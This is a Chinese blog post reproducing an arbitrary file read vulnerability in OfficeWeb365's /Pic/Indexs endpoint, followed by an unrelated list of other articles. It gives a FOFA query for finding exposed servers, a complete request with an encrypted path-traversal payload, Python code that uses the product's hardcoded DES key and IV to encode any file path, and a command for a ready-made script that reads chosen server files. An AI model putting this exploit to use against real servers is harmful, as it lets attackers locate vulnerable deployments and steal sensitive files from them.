officeWeb365 Indexs接口存在任意文件读取漏洞复现

OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息。

1.漏洞级别

高危

2.漏洞搜索

fofa

body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365" 

3.漏洞复现

3.1 简单复现

构造请求包

GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

如果漏洞存在即可成功返回数据
在这里插入图片描述
其中DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09的值为/…/…/Windows/win.ini,如果需要读取其他文件则需要根据路径生成编码。
这里提供一个python环境下的生成函数,可以根据需要将制定路径生成为DES编码。

#需要安装加解密库 pip install pycryptodome
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
import base64
 
 # 密钥和初始向量
Keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
Iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])

def encrypt_des(plaintext, key, iv):
    cipher = DES.new(key, DES.MODE_CBC, iv)
    padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return base64.b64encode(ciphertext).decode('utf-8')

# 明文
plaintext = "C:\\windows\\win.ini" 
# 加密
ciphertext = encrypt_des(plaintext, Keys, Iv)
print("加密后的密文:", ciphertext+"09")

将文件C:\windows\win.ini 加密后生成的密文U4MXvYDVuVrybiwjpvXs7R2FZA8nRywM09 带入为imgs的值。可以看到成功获取到文件的内容。
在这里插入图片描述

3.2 快捷利用

网上该漏洞很多复现都只简单复现了漏洞,并没有提供获取任意文件的方法,本文提供一个脚本,你可以自行选择文件的地址。
执行

python3 office_web365_index_fileread.py  -u url -f c:/windows/system.ini

可以看到成功输出。
注:这里的路径可以使用绝对路径或者相关路径,都是可以的。
在这里插入图片描述
文件地址随着文章附赠上了,你也可以在github上搜索同名文档。
感谢阅读,如果有问题,欢迎随时沟通~

在这里插入图片描述

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-28 05:48:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-28 05:48:06       101 阅读
  3. 在Django里面运行非项目文件

    2024-01-28 05:48:06       82 阅读
  4. Python语言-面向对象

    2024-01-28 05:48:06       91 阅读

热门阅读

  1. MySQL 导入数据

    2024-01-28 05:48:06       56 阅读
  2. MySQL主从同步数据库环境部署

    2024-01-28 05:48:06       43 阅读
  3. 【HDFS】一天一个RPC系列--updatePipeline

    2024-01-28 05:48:06       59 阅读
  4. 大数据处理流程包括哪些环节

    2024-01-28 05:48:06       55 阅读
  5. 【计算机二级考试C语言】C头文件

    2024-01-28 05:48:06       51 阅读
  6. Vue2 长文本展示和收起

    2024-01-28 05:48:06       59 阅读